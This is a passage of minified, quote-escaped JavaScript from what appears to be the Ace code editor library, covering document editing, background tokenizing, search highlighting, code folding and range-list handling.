r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/background_tokenizer\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=function(e,t){this.running=!1,this.lines=[],this.states=[],this.currentLine=0,this.tokenizer=e;var n=this;this.$worker=function(){if(!n.running)return;var e=new Date,t=n.currentLine,r=-1,i=n.doc,s=t;while(n.lines[t])t++;var o=i.getLength(),u=0;n.running=!1;while(t<o){n.$tokenizeRow(t),r=t;do t++;while(n.lines[t]);u++;if(u%5===0&&new Date-e>20){n.running=setTimeout(n.$worker,20);break}}n.currentLine=t,s<=r&&n.fireUpdateEvent(s,r)}};(function(){r.implement(this,i),this.setTokenizer=function(e){this.tokenizer=e,this.lines=[],this.states=[],this.start(0)},this.setDocument=function(e){this.doc=e,this.lines=[],this.states=[],this.stop()},this.fireUpdateEvent=function(e,t){var n={first:e,last:t};this._signal(\"update\",{data:n})},this.start=function(e){this.currentLine=Math.min(e||0,this.currentLine,this.doc.getLength()),this.lines.splice(this.currentLine,this.lines.length),this.states.splice(this.currentLine,this.states.length),this.stop(),this.running=setTimeout(this.$worker,700)},this.scheduleStart=function(){this.running||(this.running=setTimeout(this.$worker,700))},this.$updateOnChange=function(e){var t=e.start.row,n=e.end.row-t;if(n===0)this.lines[t]=null;else if(e.action==\"remove\")this.lines.splice(t,n+1,null),this.states.splice(t,n+1,null);else{var r=Array(n+1);r.unshift(t,1),this.lines.splice.apply(this.lines,r),this.states.splice.apply(this.states,r)}this.currentLine=Math.min(t,this.currentLine,this.doc.getLength()),this.stop()},this.stop=function(){this.running&&clearTimeout(this.running),this.running=!1},this.getTokens=function(e){return this.lines[e]||this.$tokenizeRow(e)},this.getState=function(e){return this.currentLine==e&&this.$tokenizeRow(e),this.states[e]||\"start\"},this.$tokenizeRow=function(e){var t=this.doc.getLine(e),n=this.states[e-1],r=this.tokenizer.getLineTokens(t,n,e);return this.states[e]+\"\"!=r.state+\"\"?(this.states[e]=r.state,this.lines[e+1]=null,this.currentLine>e+1&&(this.currentLine=e+1)):this.currentLine==e&&(this.currentLine=e+1),this.lines[e]=r.tokens}}).call(s.prototype),t.BackgroundTokenizer=s}),define(\"ace/search_highlight\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\",\"ace/lib/oop\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"./lib/lang\"),i=e(\"./lib/oop\"),s=e(\"./range\").Range,o=function(e,t,n){this.setRegexp(e),this.clazz=t,this.type=n||\"text\"};(function(){this.MAX_RANGES=500,this.setRegexp=function(e){if(this.regExp+\"\"==e+\"\")return;this.regExp=e,this.cache=[]},this.update=function(e,t,n,i){if(!this.regExp)return;var o=i.firstRow,u=i.lastRow;for(var a=o;a<=u;a++){var f=this.cache[a];f==null&&(f=r.getMatchOffsets(n.getLine(a),this.regExp),f.length>this.MAX_RANGES&&(f=f.slice(0,this.MAX_RANGES)),f=f.map(function(e){return new s(a,e.offset,a,e.offset+e.length)}),this.cache[a]=f.length?f:\"\");for(var l=f.length;l--;)t.drawSingleLineMarker(e,f[l].toScreenRange(n),this.clazz,i)}}}).call(o.prototype),t.SearchHighlight=o}),define(\"ace/edit_session/fold_line\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";function i(e,t){this.foldData=e,Array.isArray(t)?this.folds=t:t=this.folds=[t];var n=t[t.length-1];this.range=new r(t[0].start.row,t[0].start.column,n.end.row,n.end.column),this.start=this.range.start,this.end=this.range.end,this.folds.forEach(function(e){e.setFoldLine(this)},this)}var r=e(\"../range\").Range;(function(){this.shiftRow=function(e){this.start.row+=e,this.end.row+=e,this.folds.forEach(function(t){t.start.row+=e,t.end.row+=e})},this.addFold=function(e){if(e.sameRow){if(e.start.row<this.startRow||e.endRow>this.endRow)throw new Error(\"Can't add a fold to this FoldLine as it has no connection\");this.folds.push(e),this.folds.sort(function(e,t){return-e.range.compareEnd(t.start.row,t.start.column)}),this.range.compareEnd(e.start.row,e.start.column)>0?(this.end.row=e.end.row,this.end.column=e.end.column):this.range.compareStart(e.end.row,e.end.column)<0&&(this.start.row=e.start.row,this.start.column=e.start.column)}else if(e.start.row==this.end.row)this.folds.push(e),this.end.row=e.end.row,this.end.column=e.end.column;else{if(e.end.row!=this.start.row)throw new Error(\"Trying to add fold to FoldRow that doesn't have a matching row\");this.folds.unshift(e),this.start.row=e.start.row,this.start.column=e.start.column}e.foldLine=this},this.containsRow=function(e){return e>=this.start.row&&e<=this.end.row},this.walk=function(e,t,n){var r=0,i=this.folds,s,o,u,a=!0;t==null&&(t=this.end.row,n=this.end.column);for(var f=0;f<i.length;f++){s=i[f],o=s.range.compareStart(t,n);if(o==-1){e(null,t,n,r,a);return}u=e(null,s.start.row,s.start.column,r,a),u=!u&&e(s.placeholder,s.start.row,s.start.column,r);if(u||o===0)return;a=!s.sameRow,r=s.end.column}e(null,t,n,r,a)},this.getNextFoldTo=function(e,t){var n,r;for(var i=0;i<this.folds.length;i++){n=this.folds[i],r=n.range.compareEnd(e,t);if(r==-1)return{fold:n,kind:\"after\"};if(r===0)return{fold:n,kind:\"inside\"}}return null},this.addRemoveChars=function(e,t,n){var r=this.getNextFoldTo(e,t),i,s;if(r){i=r.fold;if(r.kind==\"inside\"&&i.start.column!=t&&i.start.row!=e)window.console&&window.console.log(e,t,i);else if(i.start.row==e){s=this.folds;var o=s.indexOf(i);o===0&&(this.start.column+=n);for(o;o<s.length;o++){i=s[o],i.start.column+=n;if(!i.sameRow)return;i.end.column+=n}this.end.column+=n}}},this.split=function(e,t){var n=this.getNextFoldTo(e,t);if(!n||n.kind==\"inside\")return null;var r=n.fold,s=this.folds,o=this.foldData,u=s.indexOf(r),a=s[u-1];this.end.row=a.end.row,this.end.column=a.end.column,s=s.splice(u,s.length-u);var f=new i(o,s);return o.splice(o.indexOf(this)+1,0,f),f},this.merge=function(e){var t=e.folds;for(var n=0;n<t.length;n++)this.addFold(t[n]);var r=this.foldData;r.splice(r.indexOf(e),1)},this.toString=function(){var e=[this.range.toString()+\": [\"];return this.folds.forEach(function(t){e.push(\"  \"+t.toString())}),e.push(\"]\"),e.join(\"\\n\")},this.idxToPosition=function(e){var t=0;for(var n=0;n<this.folds.length;n++){var r=this.folds[n];e-=r.start.column-t;if(e<0)return{row:r.start.row,column:r.start.column+e};e-=r.placeholder.length;if(e<0)return r.start;t=r.end.column}return{row:this.end.row,column:this.end.column+e}}}).call(i.prototype),t.FoldLine=i}),define(\"ace/range_list\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"./range\").Range,i=r.comparePoints,s=function(){this.ranges=[]};(function(){this.comparePoints=i,this.pointIndex=function(e,t,n){var r=this.ranges;for(var s=n||0;s<r.length;s++){var o=r[s],u=i(e,o.end);if(u>0)continue;var a=i(e,o.start);return u===0?t&&a!==0?-s-2:s:a>0||a===0&&!t?s:-s-1}return-s-1},this.add=function(e){var t=!e.isEmpty(),n=this.pointIndex(e.start,t);n<0&&(n=-n-1);var r=this.pointIndex(e.end,t,n);return r<0?r=-r-1:r++,this.ranges.splice(n,r-n,e)},this.addList=function(e){var t=[];for(var n=e.length;n--;)t.push.call(t,this.add(e[n]));return t},this.substractPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges.splice(t,1)},this.merge=function(){var e=[],t=this.ranges;t=t.sort(function(e,t){return i(e.start,t.start)});var n=t[0],r;for(var s=1;s<t.length;s++){r=n,n=t[s];var o=i(r.end,n.start);if(o<0)continue;if(o==0&&!r.isEmpty()&&!n.isEmpty())continue;i(r.end,n.end)<0&&(r.end.row=n.end.row,r.end.column=n.end.column),t.splice(s,1),e.push(n),n=r,s--}return this.ranges=t,e},this.contains=function(e,t){return this.pointIndex({row:e,column:t})>=0},this.containsPoint=function(e){return this.pointIndex(e)>=0},this.rangeAtPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges[t]},this.clipRows=function(e,t){var n=this.ranges;if(n[0].start.row>t||n[n.length-1].start.row<e)return[];var r=this.pointIndex({row:e,column:0});r<0&&(r=-r-1);var i=this.pointIndex({row:t,column:0},r);i<0&&(i=-i-1);var s=[];for(var o=r;o<i;o++)s.push(n[o]);return s},this.removeAll=function(){return this.ranges.splice(0,this.ranges.length)},this.attach=function(e){this.session&&this.detach(),this.session=e,this.onChange=this.$onChange.bind(this),this.session.on(\"change\",this.onChange)},this.detach=function(){if(!this.session)return;this.session.removeListener(\"change\",this.onChange),this.session=null},this.$onChange=function(e){if(e.action==\"insert\")var t=e.start,n=e.end;else var n=e.start,t=e.end;var r=t.row,i=n.row,s=i-r,o=-t.column+n.column,u=this.ranges;for(var a=0,f=u.length;a<f;a++){var l=u[a];if(l.end.row<r)continue;if(l.start.row>r)break;l.start.row==r&&l.start.column>=t.column&&(l.start.column!=t.column||!this.$insertRight)&&(l.start.column+=o,l.start.row+=s);if(l.end.row==r&&l.end.column>=t.column){if(l.end.column==t.column&&this.$insertRight)continue;l.end.column==t.column&&o>0&&a<f-1&&l.end.column>l.start.column&&l.end.column==u[a+1].start.column&&(l.end.column-=o),l.end.column+=o,l.end.row+=s}}if(s!=0&&a<f)for(;a<f;a++){var l=u[a];l.start.row+=s,l.end.row+=s}}}).call(s.prototype),t.RangeList=s}),define(\"ace/edit_session/fold\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/range_list\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";function u(e,t){e.row-=t.row,e.row==0&&(e.column-=t.column)}function a(e,t){u(e.start,t),u(e.end,t)}function f(e,t){e.row==0&&(e.column+=t.column),e.row+=t.row}function l(e,t){f(e.start,t),f(e.end,t)}var r=e(\"../range\").Range,i=e(\"../range_list\").RangeList,s=e(\"../lib/oop\"),o=t.Fold=function(e,t){this.foldLine=null,this.placeholder=t,this.range=e,this.start=e.start,this.end=e.end,this.sameRow=e.start.row==e.end.row,this.subFolds=this.ranges=[]};s.inherits(o,i),function(){this.toString=function(){return'\"'+this.placeholder+'\" '+this.range.toString()},this.setFoldLine=function(e){this.foldLine=e,this.subFolds.forEach(function(t){t.setFoldLine(e)})},this.clone=function(){var e=this.range.clone(),t=new o(e,this.placeholder);return this.subFolds.forEach(function(e){t.subFolds.push(e.clone())}),t.collapseChildren=this.collapseChildren,t},this.addSubFold=function(e){if(this.range.isEqual(e))return;if(!this.range.containsRange(e))throw new Error(\"A fold can't intersect already existing fold\"+e.range+this.range);a(e,this.start);var t=e.start.row,n=e.start.column;for(var r=0,i=-1;r<this.subFolds.length;r++){i=this.subFolds[r].range.compare(t,n);if(i!=1)break}var s=this.subFolds[r];if(i==0)return s.addSubFold(e);var t=e.range.end.row,n=e.range.end.column;for(var o=r,i=-1;o<this.subFolds.length;o++){i=this.subFolds[o].range.compare(t,n);if(i!=1)break}var u=this.subFolds[o];if(i==0)throw new Error(\"A fold can't intersect already existing fold\"+e.range+this.range);var f=this.subFolds.splice(r,o-r,e);return e.setFoldLine(this.foldLine),e},this.restoreRange=function(e){return l(e,this.start)}}.call(o.prototype)}),define(\"ace/edit_session/folding\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/edit_session/fold_line\",\"ace/edit_session/fold\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function u(){this.getFoldAt=function(e,t,n){var r=this.getFoldLine(e);if(!r)return null;var i=r.folds;for(var s=0;s<i.length;s++){var o=i[s];if(o.range.contains(e,t)){if(n==1&&o.range.isEnd(e,t))continue;if(n==-1&&o.range.isStart(e,t))continue;return o}}},this.getFoldsInRange=function(e){var t=e.start,n=e.end,r=this.$foldData,i=[];t.column+=1,n.column-=1;for(var s=0;s<r.length;s++){var o=r[s].range.compareRange(e);if(o==2)continue;if(o==-2)break;var u=r[s].folds;for(var a=0;a<u.length;a++){var f=u[a];o=f.range.compareRange(e);if(o==-2)break;if(o==2)continue;if(o==42)break;i.push(f)}}return t.column-=1,n.column+=1,i},this.getFoldsInRangeList=function(e){if(Array.isArray(e)){var t=[];e.forEach(function(e){t=t.concat(this.getFoldsInRange(e))},this)}else var t=this.getFoldsInRange(e);return t},this.getAllFolds=function(){var e=[],t=this.$foldData;for(var n=0;n<t.length;n++)for(var r=0;r<t[n].folds.length;r++)e.push(t[n].folds[r]);return e},this.getFoldStringAt=function(e,t,n,r){r=r||this.getFoldLine(e);if(!r)return null;var i={end:{column:0}},s,o;for(var u=0;u<r.folds.length;u++){o=r.folds[u];var a=o.range.compareEnd(e,t);if(a==-1){s=this.getLine(o.start.row).substring(i.end.column,o.start.column);break}if(a===0)return null;i=o}return s||(s=this.getLine(o.start.row).substring(i.end.column)),n==-1?s.substring(0,t-i.end.column):n==1?s.substring(t-i.end.column):s},this.getFoldLine=function(e,t){var n=this.$foldData,r=0;t&&(r=n.indexOf(t)),r==-1&&(r=0);for(r;r<n.length;r++){var i=n[r];if(i.start.row<=e&&i.end.row>=e)return i;if(i.end.row>e)return null}return null},this.getNextFoldLine=function(e,t){var n=this.$foldData,r=0;t&&(r=n.indexOf(t)),r==-1&&(r=0);for(r;r<n.length;r++){var i=n[r];if(i.end.row>=e)return i}return null},this.getFoldedRowCount=function(e,t){var n=this.$foldData,r=t-e+1;for(var i=0;i<n.length;i++){var s=n[i],o=s.end.row,u=s.start.row;if(o>=t){u<t&&(u>=e?r-=t-u:r=0);break}o>=e&&(u>=e?r-=o-u:r-=o-e+1)}return r},this.$addFoldLine=function(e){return this.$foldData.push(e),this.$foldData.sort(function(e,t){return e.start.row-t.start.row}),e},this.addFold=function(e,t){var n=this.$foldData,r=!1,o;e instanceof s?o=e:(o=new s(t,e),o.collapseChildren=t.collapseChildren),this.$clipRangeToDocument(o.range);var u=o.start.row,a=o.start.column,f=o.end.row,l=o.end.column;if(u<f||u==f&&a<=l-2){var c=this.getFoldAt(u,a,1),h=this.getFoldAt(f,l,-1);if(c&&h==c)return c.addSubFold(o);c&&!c.range.isStart(u,a)&&this.removeFold(c),h&&!h.range.isEnd(f,l)&&this.removeFold(h);var p=this.getFoldsInRange(o.range);p.length>0&&(this.removeFolds(p),p.forEach(function(e){o.addSubFold(e)}));for(var d=0;d<n.length;d++){var v=n[d];if(f==v.start.row){v.addFold(o),r=!0;break}if(u==v.end.row){v.addFold(o),r=!0;if(!o.sameRow){var m=n[d+1];if(m&&m.start.row==f){v.merge(m);break}}break}if(f<=v.start.row)break}return r||(v=this.$addFoldLine(new i(this.$foldData,o))),this.$useWrapMode?this.$updateWrapData(v.start.row,v.start.row):this.$updateRowLengthCache(v.start.row,v.start.row),this.$modified=!0,this._signal(\"changeFold\",{data:o,action:\"add\"}),o}throw new Error(\"The range has to be at least 2 characters width\")},this.addFolds=function(e){e.forEach(function(e){this.addFold(e)},this)},this.removeFold=function(e){var t=e.foldLine,n=t.start.row,r=t.end.row,i=this.$foldData,s=t.folds;if(s.length==1)i.splice(i.indexOf(t),1);else if(t.range.isEnd(e.end.row,e.end.column))s.pop(),t.end.row=s[s.length-1].end.row,t.end.column=s[s.length-1].end.column;else if(t.range.isStart(e.start.row,e.start.column))s.shift(),t.start.row=s[0].start.row,t.start.column=s[0].start.column;else if(e.sameRow)s.splice(s.indexOf(e),1);else{var o=t.split(e.start.row,e.start.column);s=o.folds,s.shift(),o.start.row=s[0].start.row,o.start.column=s[0].start.column}this.$updating||(this.$useWrapMode?this.$updateWrapData(n,r):this.$updateRowLengthCache(n,r)),this.$modified=!0,this._signal(\"changeFold\",{data:e,action:\"remove\"})},this.removeFolds=function(e){var t=[];for(var n=0;n<e.length;n++)t.push(e[n]);t.forEach(function(e){this.removeFold(e)},this),this.$modified=!0},this.expandFold=function(e){this.removeFold(e),e.subFolds.forEach(function(t){e.restoreRange(t),this.addFold(t)},this),e.collapseChildren>0&&this.foldAll(e.start.row+1,e.end.row,e.collapseChildren-1),e.subFolds=[]},this.expandFolds=function(e){e.forEach(function(e){this.expandFold(e)},this)},this.unfold=function(e,t){var n,i;e==null?(n=new r(0,0,this.getLength(),0),t=!0):typeof e==\"number\"?n=new r(e,0,e,this.getLine(e).length):\"row\"in e?n=r.fromPoints(e,e):n=e,i=this.getFoldsInRangeList(n);if(t)this.removeFolds(i);else{var s=i;while(s.length)this.expandFolds(s),s=this.getFoldsInRangeList(n)}if(i.length)return i},this.isRowFolded=function(e,t){return!!this.getFoldLine(e,t)},this.getRowFoldEnd=function(e,t){var n=this.getFoldLine(e,t);return n?n.end.row:e},this.getRowFoldStart=function(e,t){var n=this.getFoldLine(e,t);return n?n.start.row:e},this.getFoldDisplayLine=function(e,t,n,r,i){r==null&&(r=e.start.row),i==null&&(i=0),t==null&&(t=e.end.row),n==null&&(n=this.getLine(t).length);var s=this.doc,o=\"\";return e.walk(function(e,t,n,u){if(t<r)return;if(t==r){if(n<i)return;u=Math.max(i,u)}e!=null?o+=e:o+=s.getLine(t).substring(u,n)},t,n),o},this.getDisplayLine=function(e,t,n,r){var i=this.getFoldLine(e);if(!i){var s;return s=this.doc.getLine(e),s.substring(r||0,t||s.length)}return this.getFoldDisplayLine(i,e,t,n,r)},this.$cloneFoldData=function(){var e=[];return e=this.$foldData.map(function(t){var n=t.folds.map(function(e){return e.clone()});return new i(e,n)}),e},this.toggleFold=function(e){var t=this.selection,n=t.getRange(),r,i;if(n.isEmpty()){var s=n.start;r=this.getFoldAt(s.row,s.column);if(r){this.expandFold(r);return}(i=this.findMatchingBracket(s))?n.comparePoint(i)==1?n.end=i:(n.start=i,n.start.column++,n.end.column--):(i=this.findMatchingBracket({row:s.row,column:s.column+1}))?(n.comparePoint(i)==1?n.end=i:n.start=i,n.start.column++):n=this.getCommentFoldRange(s.row,s.column)||n}else{var o=this.getFoldsInRange(n);if(e&&o.length){this.expandFolds(o);return}o.length==1&&(r=o[0])}r||(r=this.getFoldAt(n.start.row,n.start.column));if(r&&r.range.toString()==n.toString()){this.expandFold(r);return}var u=\"...\";if(!n.isMultiLine()){u=this.getTextRange(n);if(u.length<4)return;u=u.trim().substring(0,2)+\"..\"}this.addFold(u,n)},this.getCommentFoldRange=function(e,t,n){var i=new o(this,e,t),s=i.getCurrentToken();if(s&&/^comment|string/.test(s.type)){var u=new r,a=new RegExp(s.type.replace(/\\..*/,\"\\\\.\"));if(n!=1){do s=i.stepBackward();while(s&&a.test(s.type));i.stepForward()}u.start.row=i.getCurrentTokenRow(),u.start.column=i.getCurrentTokenColumn()+2,i=new o(this,e,t);if(n!=-1){do s=i.stepForward();while(s&&a.test(s.type));s=i.stepBackward()}else s=i.getCurrentToken();return u.end.row=i.getCurrentTokenRow(),u.end.column=i.getCurrentTokenColumn()+s.value.length-2,u}},this.foldAll=function(e,t,n){n==undefined&&(n=1e5);var r=this.foldWidgets;if(!r)return;t=t||this.getLength(),e=e||0;for(var i=e;i<t;i++){r[i]==null&&(r[i]=this.getFoldWidget(i));if(r[i]!=\"start\")continue;var s=this.getFoldWidgetRange(i);if(s&&s.isMultiLine()&&s.end.row<=t&&s.start.row>=e){i=s.end.row;try{var o=this.addFold(\"...\",s);o&&(o.collapseChildren=n)}catch(u){}}}},this.$foldStyles={manual:1,markbegin:1,markbeginend:1},this.$foldStyle=\"markbegin\",this.setFoldStyle=function(e){if(!this.$foldStyles[e])throw new Error(\"invalid fold style: \"+e+\"[\"+Object.keys(this.$foldStyles).join(\", \")+\"]\");if(this.$foldStyle==e)return;this.$foldStyle=e,e==\"manual\"&&this.unfold();var t=this.$foldMode;this.$setFolding(null),this.$setFolding(t)},this.$setFolding=function(e){if(this.$foldMode==e)return;this.$foldMode=e,this.off(\"change\",this.$updateFoldWidgets),this.off(\"tokenizerUpdate\",this.$tokenizerUpdateFoldWidgets),this._signal(\"changeAnnotation\");if(!e||this.$foldStyle==\"manual\"){this.foldWidgets=null;return}this.foldWidgets=[],this.getFoldWidget=e.getFoldWidget.bind(e,this,this.$foldStyle),this.getFoldWidgetRange=e.getFoldWidgetRange.bind(e,this,this.$foldStyle),this.$updateFoldWidgets=this.updateFoldWidgets.bind(this),this.$tokenizerUpdateFoldWidgets=this.tokenizerUpdateFoldWidgets.bind(this),this.on(\"change\",this.$updateFoldWidgets),this.on(\"tokenizerUpdate\",this.$tokenizerUpdateFoldWidgets)},this.getParentFoldRangeData=function(e,t){var n=this.foldWidgets;if(!n||t&&n[e])return{};var r=e-1,i;while(r>=0){var s=n[r];s==null&&(s=n[r]=this.getFoldWidget(r));if(s==\"start\"){var o=this.getFoldWidgetRange(r);i||(i=o);if(o&&o.end.row>=e)break}r--}return{range:r!==-1&&o,firstRange:i}},this.onFoldWidgetClick=function(e,t){t=t.domEvent;var n={children:t.shiftKey,all:t.ctrlKey||t.metaKey,siblings:t.altKey},r=this.$toggleFoldWidget(e,n);if(!r){var i=t.target||t.srcElement;i&&/ace_fold-widget/.test(i.className)&&(i.className+=\" ace_invalid\")}},this.$toggleFoldWidget=function(e,t){if(!this.getFoldWidget)return;var n=this.getFoldWidget(e),r=this.getLine(e),i=n===\"end\"?-1:1,s=this.getFoldAt(e,i===-1?0:r.length,i);if(s){t.children||t.all?this.removeFold(s):this.expandFold(s);return}var o=this.getFoldWidgetRange(e,!0);if(o&&!o.isMultiLine()){s=this.getFoldAt(o.start.row,o.start.column,1);if(s&&o.isEqual(s.range)){this.removeFold(s);return}}if(t.siblings){var u=this.getParentFoldRangeData(e);if(u.range)var a=u.range.start.row+1,f=u.range.end.row;this.foldAll(a,f,t.all?1e4:0)}else t.children?(f=o?o.end.row:this.getLength(),this.foldAll(e+1,f,t.all?1e4:0)):o&&(t.all&&(o.collapseChildren=1e4),this.addFold(\"...\",o));return o},this.toggleFoldWidget=function(e){var t=this.selection.getCursor().row;t=this.getRowFoldStart(t);var n=this.$toggleFoldWidget(t,{});if(n)return;var r=this.getParentFoldRangeData(t,!0);n=r.range||r.firstRange;if(n){t=n.start.row;var i=this.getFoldAt(t,this.getLine(t).length,1);i?this.removeFold(i):this.addFold(\"...\",n)}},this.updateFoldWidgets=function(e){var t=e.start.row,n=e.end.row-t;if(n===0)this.foldWidgets[t]=null;else if(e.action==\"remove\")this.foldWidgets.splice(t,n+1,null);else{var r=Array(n+1);r.unshift(t,1),this.foldWidgets.splice.apply(this.foldWidgets,r)}},this.tokenizerUpdateFoldWidgets=function(e){var t=e.data;t.first!=t.last&&this.foldWidgets.length>t.first&&this.foldWidgets.splice(t.first,this.foldWidgets.length)}}var r=e(\"../range\").Range,i=e(\"./fold_line\").FoldLine,s=e(\"./fold\").Fold,o=e(\"../token_iterator\").TokenIterator;t.Folding=u}),define(\"ace/edit_session/bracket_match\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\",\"ace/range\"],function(e,t,n){\"use strict\";function s(){this.findMatchingBracket=function(e,t){if(e.column==0)return null;var n=t||this.getLine(e.row).charAt(e.column-1);if(n==\"\")return null;var r=n.match(/([\\(\\[\\{])|([\\)\\]\\}])/);return r?r[1]?this.$findClosingBracket(r[1],e):this.$findOpeningBracket(r[2],e):null},this.getBracketRange=function(e){var 